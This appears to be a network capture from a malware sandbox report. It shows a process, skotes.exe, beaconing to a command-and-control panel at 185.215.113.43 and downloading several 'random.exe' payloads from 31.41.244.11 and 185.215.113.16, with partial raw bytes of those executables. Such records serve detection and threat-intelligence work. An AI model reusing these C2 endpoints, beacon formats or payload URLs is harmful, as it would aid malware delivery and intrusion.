Dec 10, 2024 02:51:08.367480993 CET	660	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:51:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 64 35 0d 0a 20 3c 63 3e 31 30 31 33 35 38 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 31 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 33 35 38 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 33 35 38 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 33 35 38 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 [TRUNCATED] Data Ascii: 1d5 <c>1013581001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1013582001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1013583001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1013584001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1013585001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49859	31.41.244.11	80	7884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:08.491641998 CET	62	OUT	GET /files/unique2/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 10, 2024 02:51:09.814922094 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:51:09 GMT Content-Type: application/octet-stream Content-Length: 1973248 Last-Modified: Tue, 10 Dec 2024 00:57:10 GMT Connection: keep-alive ETag: "675791e6-1e1c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 21 4a f8 9d 40 24 ab 9d 40 24 ab 9d 40 24 ab 83 12 a0 ab 81 40 24 ab 83 12 b1 ab 89 40 24 ab 83 12 a7 ab c5 40 24 ab ba 86 5f ab 94 40 24 ab 9d 40 25 ab f6 40 24 ab 83 12 ae ab 9c 40 24 ab 83 12 b0 ab 9c 40 24 ab 83 12 b5 ab 9c 40 24 ab 52 69 63 68 9d 40 24 ab 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0c de dd 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 b0 01 00 00 00 00 00 00 e0 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 10 87 00 00 04 00 00 b0 92 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$!J@$@$@$@$@$@$_@$@%@$@$@$@$Rich@$PELd@ZBn@h! @T@.rsrch!@d@.idata B@ ) B@fsoyaldhk@uhxnkltw@.taggant0"@
Dec 10, 2024 02:51:09.815035105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:09.815047026 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:09.815444946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:09.815457106 CET	896	IN	Data Raw: 69 a9 28 3a 05 2b 8f a6 43 51 19 db 62 37 12 e6 cd 38 2f 4e 44 a0 fe bb 9f b0 ce 04 da 62 6a d4 e3 60 2a ac e6 c9 31 13 5d 86 b8 63 c5 a8 3e b4 00 78 e1 40 18 86 e5 4a 10 6c 91 30 e5 29 1a 5f 1d 62 89 50 d9 b8 14 38 ca c4 05 48 ed 04 13 87 3c 25 Data Ascii: i(:+CQb78/NDbj`*1]c>x@Jl0)_bP8H<%6 P?+{uKT@Ed.0=M7o:N-UO7n#Gj5PfO)Up@pkDl$KT}^]L8^\|RfnE.~Np"I!
Dec 10, 2024 02:51:09.815758944 CET	1236	IN	Data Raw: 18 f8 78 6f e8 70 02 3c 16 88 c6 b2 30 a4 b0 d2 aa 30 04 73 94 fa d4 b5 05 81 21 49 1d 4e 60 9d 12 39 74 e9 18 25 15 b2 62 43 6d cd 5a 19 82 eb 55 26 c4 c2 62 bc cf b6 4e 29 ac e3 55 ac fd 21 34 19 12 9f 8e 52 fc 21 a9 4f 8a c1 65 25 c6 25 26 35 Data Ascii: xop<00s!IN`9t%bCmZU&bN)U!4R!Oe%%&5EUOF1N+Q~')$KdV_L!FePu2:U=m<`/ImO3T3> 5Pm$knk4Dp>^%$J_41
Dec 10, 2024 02:51:09.815772057 CET	1236	IN	Data Raw: 46 e8 68 b4 3d 98 72 e3 21 36 6d ef 23 01 ba 12 e6 02 6e 67 2c b4 f7 12 bd 88 5d 42 9b cc 5d 5b 1f 58 5a cb 09 f1 3d 3c b9 15 01 af d3 18 0f 3d f1 11 52 38 29 5b 45 c5 61 77 8f 76 0f 48 e4 b7 ef 49 98 a4 df ac dc e8 da 33 16 a4 61 78 0c b1 25 cb Data Ascii: Fh=r!6m#ng,]B][XZ=<=R8)[EawvHI3ax%Me%"3b(DLRTr-zecQ"WVC\|3)$n4p/Ccn73,KNjJ3[mgs~G\|4BHyw>\n+b?dKvo<l
Dec 10, 2024 02:51:09.816158056 CET	1236	IN	Data Raw: fa 4d 54 3f 0a d7 e7 3b 95 a1 5c 8b dd f0 78 4d 43 19 32 36 3b 4a 34 87 39 35 51 b1 bf 81 5a 6b d4 24 34 fe 5d 8c 95 cf 0f 85 33 da 51 25 65 75 69 bf 7a 22 07 eb c8 8a de 72 65 da 7b 09 c3 36 46 49 d7 22 34 e6 74 fd 89 11 7f be 89 38 11 b4 1a a9 Data Ascii: MT?;\xMC26;J495QZk$4]3Q%euiz"re{6FI"4t8S!JngN41@[T<}}ssyN/m}t"ZJH15!4=?Go+4jA\5*D'4\|3LIoJc6C 3?#N
Dec 10, 2024 02:51:09.816169024 CET	1236	IN	Data Raw: 51 31 26 07 6f 6f ff 1e 6d f6 14 a9 ed 8b a2 d6 02 c5 68 0d 18 83 15 db 1d a5 65 bf 16 42 d9 f1 57 38 95 5c cf 7b a7 61 18 c7 32 c7 8f 58 7b 32 ec d2 9c 33 fb 64 12 27 78 2c 36 9f 49 3a 7d d6 79 30 51 50 84 20 89 b7 6e 78 25 e8 15 36 6d db 2d 59 Data Ascii: Q1&oomheBW8\{a2X{23d'x,6I:}y0QP nx%6m-Y7[#\GM<#]\|=YqrO%(xDDX5"o\9&{QQ/p-G-3sRh[@\|k"3Gub':zx1/6Dkbjn+*~L-
Dec 10, 2024 02:51:09.816179991 CET	896	IN	Data Raw: 38 03 13 51 6a 1c d7 73 0b 20 ba e6 f9 85 43 11 0e c7 f6 6a 70 ef 19 08 c8 90 e2 4c d9 16 70 06 20 dc 10 8d 5c 31 d5 3e 10 86 70 ff 88 1c 14 f0 5c 1a d7 18 47 7f 4e ac f1 28 28 ab 57 e6 ba 8a 1d 73 a2 c4 c2 e0 1f c0 b6 c6 a6 26 86 d0 0b ac 4a f0 Data Ascii: 8Qjs CjpLp \1>p\GN((Ws&J ?`/!5\[=eR0teZ;X_,I')e4&(~r(-(x_HeKJh_0-D>W" nM'~3=)M/S:0(B\:
Dec 10, 2024 02:51:09.935332060 CET	1236	IN	Data Raw: b2 38 4a 70 1f a8 4b 89 34 22 12 eb 1f d1 e1 4f 9d 04 c4 4e 90 c1 9b 3a dc b9 6e 66 c5 92 57 f2 09 03 a5 70 b2 8f 14 8a 8b dd c0 d5 51 d8 01 1a 26 52 2c a2 fe b2 d6 89 cf 29 b2 33 06 39 62 dc 09 04 e0 99 c7 01 4d 71 4d 2b 75 83 ec 56 66 d7 c8 4c Data Ascii: 8JpK4"ON:nfWpQ&R,)39bMqM+uVfLEUIB=!A`~gXH.:\|7veDqsEb69z\|H65aL 9*D6,,Z+>PSX!x(KZOmtx(xRJ%qhj0o$1v$QS%8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49875	185.215.113.43	80	7884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:15.707355976 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 38 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013581001&unit=246122658369
Dec 10, 2024 02:51:17.019505978 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:51:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49881	185.215.113.16	80	7884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:17.146473885 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 10, 2024 02:51:18.496745110 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:51:18 GMT Content-Type: application/octet-stream Content-Length: 1890304 Last-Modified: Tue, 10 Dec 2024 01:22:28 GMT Connection: keep-alive ETag: "675797d4-1cd800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 ea b9 55 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 b2 00 00 00 00 00 00 00 10 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 4b 00 00 04 00 00 49 a7 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 40 05 00 70 00 00 00 00 30 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELUgK@@KI@\@p0A B@.rsrc0R@.idata @V@ P+PX@kcjzlwkt`0XZ@cwbfsuvmK@.taggant0K"@
Dec 10, 2024 02:51:18.496881008 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:18.497236013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:18.497426987 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:18.497437954 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:18.497693062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:18.497823954 CET	1236	IN	Data Raw: dc b6 2a 9b 3a 92 4d 84 5a 5d 30 3b f4 a9 f0 e2 ef 84 24 00 bd fd 04 cc 55 48 ed 22 9f 92 89 e3 86 cd 62 91 69 89 14 ad f3 bd f8 38 8f 6c 14 ed 9c 8a bb 2c 49 49 29 29 e0 15 19 a6 4b 92 b7 5c 59 21 de 40 ec 22 bd bd 54 6b 3f 24 e8 59 51 2e 33 43 Data Ascii: *:MZ]0;$UH"bi8l,II))K\Y!@"Tk?$YQ.3C-KNtZ4Mm4:u5l6lQGY=MnCxP-1Nqg-4"0t3FGcX'HQGXM8"_W?)1qbe~}D?6-KK:P){K>w
Dec 10, 2024 02:51:18.497834921 CET	248	IN	Data Raw: 3f ce 1d e1 32 1a bf 32 01 fa 0b 16 7b 27 35 00 73 bf 57 2b bb 2e 6e 0c 5a 21 6e 8f c8 dd 8e a8 bd 3f 37 d8 7c 33 6e 23 00 85 0b e0 b6 fc 01 d4 3c 52 5c 3d 68 cc 2e 3d 39 ad 22 9c 4b e9 31 e6 e9 cb 19 2f d7 cb 20 41 41 27 dc 74 d0 18 5f 9c 44 7a Data Ascii: ?22{'5sW+.nZ!n?7\|3n#<R\=h.=9"K1/ AA't_DzqP~73yz(RQm&I#pR5/U<qjVC1En4(d'uvl;M\c)vj)1?2e5M:NMEK@3~F]cJHh4~Gn%.K+\f%<M<d}cyb
Dec 10, 2024 02:51:18.498066902 CET	1236	IN	Data Raw: c4 e0 e5 70 10 d5 00 31 3d c4 91 64 38 49 84 bc ba 2e 81 4c 0c 12 bd 87 64 ce 53 6a 84 f2 46 c9 4e 2a 29 da c3 83 d0 56 ff b6 a5 82 24 34 15 3b 97 0b 51 2d b1 7e 8a ac a4 39 5a 9f 6b 24 41 ea 52 e2 bb 6e 24 1e 8d 20 5f fc cb a2 53 a3 59 0e 24 4d Data Ascii: p1=d8I.LdSjFN*)V$4;Q-~9Zk$ARn$ _SY$Mt#Py.bG{K+k-MA!79<6AVZL312%#Z]GY 7QmsiE+713>qEGAkCW>KOc.LP
Dec 10, 2024 02:51:18.498080015 CET	1236	IN	Data Raw: 80 32 dc 8b 9e 1f 30 a4 5b 6e c6 8e 13 a0 35 98 63 59 d0 83 b8 aa f9 72 fb 50 78 b7 43 46 30 85 94 f2 c3 bc cb 19 2f bf 30 d6 0f 64 cc ca 25 5c e9 c5 84 55 5b 5a 3f 67 5c b6 c8 9c 51 35 50 96 5a 7b 4c 61 6b 0d bb 27 bf 37 fc a0 b4 3d ce c8 f9 41 Data Ascii: 20[n5cYrPxCF0/0d%\U[Z?g\Q5PZ{Lak'7=AyMO5%uY3s-s%a.L)BF n\f "uq-q~ZH2f9-uIdMG4+9(xP=EU.rQDZB8=Ej
Dec 10, 2024 02:51:18.616333008 CET	1236	IN	Data Raw: 8b 21 0d b2 43 51 47 0a be 85 20 0a 7d 91 5b 31 ad 16 77 1c 01 44 52 ac 84 54 9f 2b 93 cd 8f 7b bb ee 64 c2 11 97 49 a1 c8 47 20 75 b6 c4 69 53 91 16 90 04 a3 2b a6 e5 c3 34 cf 20 f5 84 bd 65 9f 30 d0 53 20 0c 9c 72 4c a5 67 54 38 51 4a 5b 4b c1 Data Ascii: !CQG }[1wDRT+{dIG uiS+4 e0S rLgT8QJ[KOW+_rO9d.X>q:"5Fk=:gJY%.(=0v3`UHQS\|V31!cc?OF+KtP8KV";Hv4J?G+C;Sg@9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49897	185.215.113.43	80	7884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:24.348294020 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 38 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013582001&unit=246122658369
Dec 10, 2024 02:51:25.675506115 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:51:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49900	185.215.113.16	80	7884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:25.801029921 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 10, 2024 02:51:27.153997898 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:51:26 GMT Content-Type: application/octet-stream Content-Length: 1798144 Last-Modified: Tue, 10 Dec 2024 01:22:35 GMT Connection: keep-alive ETag: "675797db-1b7000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 00 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 69 00 00 04 00 00 e1 c6 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(i@0i@M$a$$ $h@.rsrc$x@.idata $z@ `*$\|@loxwmvpm O~@lrozqijghJ@.taggant0i"N@
Dec 10, 2024 02:51:27.154112101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:27.154124022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:27.154561996 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:27.154572964 CET	596	IN	Data Raw: 9a 02 d1 f7 db ba eb 94 9c c7 2c 0c aa 7f 8f b5 57 9b 53 ab db 77 9a 7b 83 7f cb da 77 fb c3 a6 6b 39 bc 8d 5b 31 b4 b5 b6 d5 a6 39 bd 61 92 87 d3 5f a4 8b cf ef 93 c7 a7 7f 87 64 42 90 7b 54 98 83 6f 63 90 fd c3 8b 9a a7 97 e3 7f 9f 53 8c 5d 60 Data Ascii: ,WSw{wk9[19a_dB{TocS]`m#\IA\l4{kd^Sjkjw 2oT7`37pQ;lYr?>"LtY7oro\|sii\e[%:YxcQ
Dec 10, 2024 02:51:27.154582977 CET	1236	IN	Data Raw: bf d7 b3 14 94 7d 78 23 6b 35 5b fd 7d 97 26 b6 aa ff ab 44 10 83 cf 1d ea 7b 7d ff 7b bf 21 2c 06 59 b0 ca c7 3d 34 d4 a2 87 6e aa b0 33 6f 43 52 c8 ee 7b 03 60 0e 75 80 fe 65 76 8c 5f 54 b4 a2 bf 26 06 f0 43 45 2c de b6 c0 5f 79 6d 10 ca cc e3 Data Ascii: }x#k5[}&D{}{!,Y=4n3oCR{`uev_T&CE,_ymczY\|&cR*`QVZ&tJ`e`LGx_t?IZWSmfWVwz,0rcg?Bio/Uv;A:Uf4`Vf@6Cz1`
Dec 10, 2024 02:51:27.154598951 CET	1236	IN	Data Raw: 73 bf 4f e8 0a c5 27 dd e7 c3 3b 55 4d 7a 59 f0 e4 36 05 68 16 7d 1d 9d df 43 c5 6b 72 89 33 86 a0 30 8f 77 fb 2b 8d f6 1d a3 86 cb 03 f9 09 5a fb 1b 8e cf 46 85 f1 2a 43 81 e2 0e 8c b8 ab 8e db 16 c1 fe 9f 3e b5 e6 47 3e ce 74 e3 87 fb a2 51 b0 Data Ascii: sO';UMzY6h}Ckr30w+ZF*C>G>tQ,H\|.D<CWv{LDtVC6]=CMfGl7c&nKNA5N0<T0ilf0Z0[qwQdw[hE[vEV-7@i>Qt[u
Dec 10, 2024 02:51:27.155363083 CET	1236	IN	Data Raw: 9d f3 5f bd 0a 4f 62 b1 19 88 83 00 7b dd 5b 6b dc 7f 70 b7 eb 00 94 c3 9f 6c 85 95 7c c7 7f 89 3b 18 8e ad b0 fe 8d 2b e4 81 cf 07 a8 95 6d d7 ef 82 d7 3f a8 ef 5c f7 df 1a 44 36 9d 5f 57 8c 9d 85 9b 03 6e 17 d0 95 0f ff 77 68 70 56 b1 23 60 8d Data Ascii: _Ob{[kpl\|;+m?\D6_WnwhpV#`3wRn+@UZWO*f}g9apsm}smonSTu6+'3j39TCZkyHpka2#a
Dec 10, 2024 02:51:27.155375004 CET	1236	IN	Data Raw: 60 a1 d5 18 ed b7 53 89 a3 bc c3 7b 9c 8b 93 50 6c cf 61 e9 db 99 db fd 79 75 5b 3b dc ef 8f 03 7a 97 d9 9f 82 86 7c 9d 8a 80 4c 89 3b 00 5e 45 6a b8 7d 3b 9a 8d 27 85 db 7f 07 fe 3d 44 9d 63 71 38 80 84 77 05 63 db 08 a4 5b a7 69 97 5e 45 e3 9b Data Ascii: `S{Playu[;z\|L;^Ej};'=Dcq8wc[i^E;xml1m\|`T7{wfGlkhW3ycnS<em{tMn{m\|z[+S\|?PmCN
Dec 10, 2024 02:51:27.155385017 CET	1236	IN	Data Raw: e7 8d 5c 03 e5 98 26 a0 8f 8b c3 89 78 f7 5f 93 af 8a 10 7a f3 60 d4 14 71 07 54 33 4f 89 f7 9e 7c c5 e3 7b 6d 17 91 ab 5f d2 e1 bf af 1f d0 b5 07 9f e3 b8 9c f7 6f 58 10 18 62 37 60 cf ec e4 c1 bf 61 43 dc b9 27 85 23 02 6f c7 93 b9 6c 67 60 7f Data Ascii: \&x_z`qT3O\|{m_oXb7`aC'#olg`gp<N]um3P\|Q\CN?.y/`gWP?yme3`m\C$n[T{{u;gp_mgNp{9{x_kv#
Dec 10, 2024 02:51:27.273415089 CET	552	IN	Data Raw: ad 0e f5 93 0c 26 8a e3 92 00 56 3b 40 8f 7d 7d 9c 37 7f 6c 18 c3 b4 7d fc dc 7e c1 53 e8 0f b9 32 bb 8f 9d 87 e6 75 47 8b 37 61 5e 5e 04 e7 54 1a 7f 86 e6 1b 0d a5 ef 9a 21 c3 fa 9b 23 be 80 f3 ad af 1f be ee 7d 0f 6d 8b b5 75 e4 78 53 fb 77 67 Data Ascii: &V;@}}7l}~S2uG7a^^T!#}muxSwg~}Ela~C@`$RX$sgq<^K?]<M_z)[3V_JNzbM /Q VoQsn%HMwyO-!YN'Lf'9E3/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49921	185.215.113.43	80	7884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:32.808492899 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 38 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013583001&unit=246122658369
